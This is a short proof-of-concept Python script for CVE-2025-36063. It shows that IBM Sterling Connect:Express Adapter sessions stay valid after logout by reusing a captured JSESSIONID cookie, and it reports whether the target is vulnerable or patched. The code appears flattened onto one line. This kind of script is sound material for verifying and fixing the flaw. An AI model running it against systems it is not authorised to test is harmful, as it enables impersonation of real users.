CVE-2025-36063: IBM Sterling Connect:Express 会话管理漏洞导致用户冒充

# CVE-2025-36063 PoC - Session Not Invalidated After Logout # This PoC demonstrates the session management vulnerability in # IBM Sterling Connect:Express Adapter import requests import re TARGET_URL = "https://target-ibm-sterling.example.com:8443" ATTACKER_IP = "192.168.1.100" def exploit_session_not_invalidated(): """ Simulate the attack flow for CVE-2025-36063: Session remains valid after logout, allowing user impersonation """ session = requests.Session() # Step 1: Legitimate user login print("[+] Step 1: Victim user login") login_data = { "username": "victim_user", "password": "victim_password" } response = session.post(f"{TARGET_URL}/login", data=login_data) # Extract session cookie session_cookie = session.cookies.get_dict().get('JSESSIONID') print(f"[+] Session ID obtained: {session_cookie}") # Step 2: Capture session ID (attacker perspective) # In real attack, this could be via XSS, MITM, or session prediction captured_session = session_cookie print(f"[+] Attacker captured session: {captured_session}") # Step 3: Victim performs logout print("[-] Victim logs out") session.post(f"{TARGET_URL}/logout") print("[+] Logout completed (session should be invalidated)") # Step 4: Attacker reuses the old session ID print("[+] Step 4: Attacker reuses captured session ID") attacker_session = requests.Session() attacker_session.cookies.set('JSESSIONID', captured_session) # Step 5: Verify session still works after logout (VULNERABILITY) response = attacker_session.get(f"{TARGET_URL}/api/user/profile") if response.status_code == 200: print("[!] VULNERABLE: Session still valid after logout!") print(f"[!] Attacker can impersonate victim with session: {captured_session}") return True else: print("[+] Patch verified: Session properly invalidated") return False if __name__ == "__main__": print("="*60) print("CVE-2025-36063 - Session Not Invalidated After Logout") print("Target: IBM Sterling Connect:Express Adapter") print("="*60) exploit_session_not_invalidated()